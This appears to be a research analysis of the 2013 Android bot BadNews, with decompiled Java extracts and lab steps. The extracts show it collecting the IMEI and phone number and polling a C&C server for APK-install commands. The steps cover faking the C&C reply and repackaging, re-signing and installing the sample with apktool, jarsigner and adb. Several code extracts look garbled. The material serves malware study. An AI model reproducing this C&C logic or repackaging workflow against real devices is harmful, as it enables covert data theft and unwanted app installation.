April 2013


Undesired applications installation

GroDDViewer graphs:


BadNews is a bot discovered in April 2013. Its malicious final charge depends on commands received from a remote server. The malicious code is located in the package com.mobidisplay.advertsv1. Its behavior can be divided into three distinguished stages:

Stage 1: Malicious service setup and sensitive data recovery

BadNews starts at the reception of the BOOT_COMPLETED intent or the PHONE_STATE intent. When one of these intents is received, the service AdvService is started. On creation, this service collects information about the device such as the IMEI, the device model, the phone number and the network operator. Finally, this service sets up an alarm manager that is in charge of broadcasting an intent for the receiver AReceiver. This receiver will restart AdvService every four hours with an intent containing an extra data named update and set to true.

final AlarmManager aM = this.getApplicationContext().getSystemService("alarm");
final PendingIntent broadcast = PendingIntent.getBroadcast((Context)this, 0, new Intent(this, AReceiver.class), 134217728);
final long elapsedRealtime = SystemClock.elapsedRealtime();
aM.setRepeating(3, elapsedRealtime, 14400000L, broadcast);

Stage 2: Notify the C&C server of the availability of the device

BadNews transforms the device into a slave of a C&C server located at [1] . When AdvService is restarted with the extra data update set to true, it creates a thread which executes a function named getUpdate(). This function contacts the server and begins with sending an HTTP post request with the sensitive information collected on creation.

Stage 3: Execute the service order

The function getUpdate() then receives an answer from the server, which describes what to do. It can be one of these possibilities:

  1. Open an URL.
  2. Create a notification with an URL to open.
  3. Install a shortcut that will open an URL.
  4. Download and install an APK file.
  5. Create a notification with an APK file to download and install.
  6. Install a shortcut that will download and install an APK file.
  7. Update the primary or secondary server address.
  8. Do nothing.

The APK files that will be installed may be potentially malicious. During our observations, the server sent a malicious version of Doodle Jump and a fake version of Adobe Flash for Android. The second application is branded as Adobe Flash but looked like a game when we launched it. The C&C server seems no longer available.

[1]We intentionally anonymzed this URL

Other resources


You need to reboot the phone and then wait four hours before receiving a command. To force the execution, We assume that BadNews apk file name is badnews.apk
Launch the python server (from with root rights in a local directory:

sudo python 80

Create a file index.html in the same directory containing the line:

{"status":"install", "sound":0, "vibro":0, "apkname":"", "url":"/.apk"}

Where is the local server IP adresse, and another_malware_to_install>.apk is the seconde malware you want to install in the phone infected by Badnews.
Modify badnews.apk by decompiling it first:

apktool d badnews.apk

That creates a local directory with the name BadNews
In the file "badnews/smali/com/mobidisplay/advertsv1/AdvService.smali"
Replace "" with "/index.html", and 0xdbba00 (14400000 ms in dec = 4h) with 0x2BF20 (3 minutes)
. Then repackage the new APK:

apktool b badnews -o new_badnews.apk

Sign the new APK:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android new_badnews.apk androiddebugkey

Install the new APK and start the malicious service:

adb install new_badnews.apk

adb shell am startservice ru.blogspot.playsib.savageknife/com.mobidisplay.advertsv1.AdvService -ez update 1

Badnews will download the seconde malware APK and try to install it. A window will popup and ask you to install the downloaded APK, accept and the seconde malware will be installed.


Malware type :

  • Remote Administration Tool (RAT)

Attacks :

  •   Confidentiality

  •   Normal use

Infection technique : Repackaged application

Malicious code type :

  • Use Java code

Hidding techniques :

  • Not hidden

Triggering techniques :

  • Waits for a fixed period of time
  • Waits for a particular intent


Java source code extracts: is the function used to retrieve sensitive information during AdvService creation. is the function executed when AdvService is started. is the function used to setup the alarm for triggering AReceiver every 4 hours. is the BroadcastReceiver used to restart AdvService with the extra data "update". is the function which creates and executes a thread when "update" is set to true. is the function executed by the thread which simply calls the sendRequest() function. is the function used to contact the remote server and receive commands to execute.

// in file com/mobidisplay/advertsv1/

private void fillPostData() {

	Object str = this.getSystemService("phone");

	this.ii = ((TelephonyManager)str).getDeviceId();
	this.opNm = ((TelephonyManager)str).getNetworkOperator();

	while (true)
			this.vesn = this.getPackageManager().getPackageInfo(this.getPackageName(), 0).versionName;
			this.pacNme = this.getPackageName();
			this.phoNum = ((TelephonyManager)str).getLine1Number();
			this.phMl = Build.MODEL;
			this.lg = Locale.getDefault().getLanguage(); = "{\"io\":\"none\"}";
			str = String.valueOf(this.ii);
			str = str + " " + this.pacNme + " " + this.phoNum + " " + this.phMl 
				+ " " + this.lg + " " +;
		catch (PackageManager$NameNotFoundException ex) { continue; }


// in file com/mobidisplay/advertsv1/
public int onStartCommand(final Intent intent, final int n, final int n2) {

	this.log("AdvService Started");

	if (intent != null)
		if (intent.getExtras() != null)
			//If there is the extra data "update" set to true
			if (intent.getExtras().getBoolean("update"))
		else { this.startUpdater(); }
	else { this.startUpdater(); }

	return 1;

// in file com/mobidisplay/advertsv1/

private void startUpdater() {

	final AlarmManager alarmManager = this.getApplicationContext().getSystemService("alarm");
	final PendingIntent broadcast;

	//Intent for the BroadcastReceiver AReceiver
	broadcast = PendingIntent.getBroadcast(this, 0, new Intent(this, AReceiver.class), 134217728);

	final long elapsedRealtime = SystemClock.elapsedRealtime();

	//Repeat the broadcast every 4 hours
	alarmManager.setRepeating(3, elapsedRealtime, 14400000L, broadcast);

// in file com/mobidisplay/advertsv1/

public void onReceive(final Context context, Intent intent) {

	intent = new Intent();
	intent.putExtra("update", true);

// in file com/mobidisplay/advertsv1/

private void startUpdateThread(){

	//Getting the function "getUpdate()"
	final AdvService.AdvService$1 target = new AdvService.AdvService$1(this);

	final Thread thread = new Thread((Runnable)target);

// in file com/mobidisplay/advertsv1/

private void getUpdate() {

	final String primaryServerUrl = this.primaryServerUrl;

	try {
		try {          
		catch (IOException message) {

			this.log("Primary server is unavailable, try secondary");
			final String serl = this.serl;

			try {
			catch (IOException message) {
				this.log("Secondary server is unavailable too, do nothing");
			catch (JSONException ex2) {
				message = ((Throwable)message).getMessage();
		catch (JSONException ex) {
			final String message2 = ex.getMessage();
	catch (Throwable t) {}

// in file com/mobidisplay/advertsv1/
// extract of the function "sendRequest"

final JSONObject jsonObject = new JSONObject(jsonTokener);
final String string3 = jsonObject.getString("status");

//Open an URL
if (string3.equalsIgnoreCase("news")) {
//Create a notification with an URL to open
if (string3.equalsIgnoreCase("showpage")) {
//Download and install an APK file
if (string3.equalsIgnoreCase("install")) {
//Create a notification with an APK file to download and install
if (string3.equalsIgnoreCase("showinstall")) {
//Install a shortcut that will open an URL
if (string3.equalsIgnoreCase("iconpage")) {
//Install a shortcut that will download and install an APK file
if (string3.equalsIgnoreCase("iconinstall")) {
//Update primary server adress
if (string3.equalsIgnoreCase("newdomen")) {
	this.primaryServerUrl = jsonObject.getString("url");
	final SharedPreferences$Editor putString = this.prefs.edit().putString("primaryServerUrl", this.primaryServerUrl);
//Update secondary server adress
if (string3.equalsIgnoreCase("seconddomen")) {
	this.serl = jsonObject.getString("url");
	final SharedPreferences$Editor putString2 = this.prefs.edit().putString("serl", this.serl);
//Stop itself
if (string3.equalsIgnoreCase("stop")) {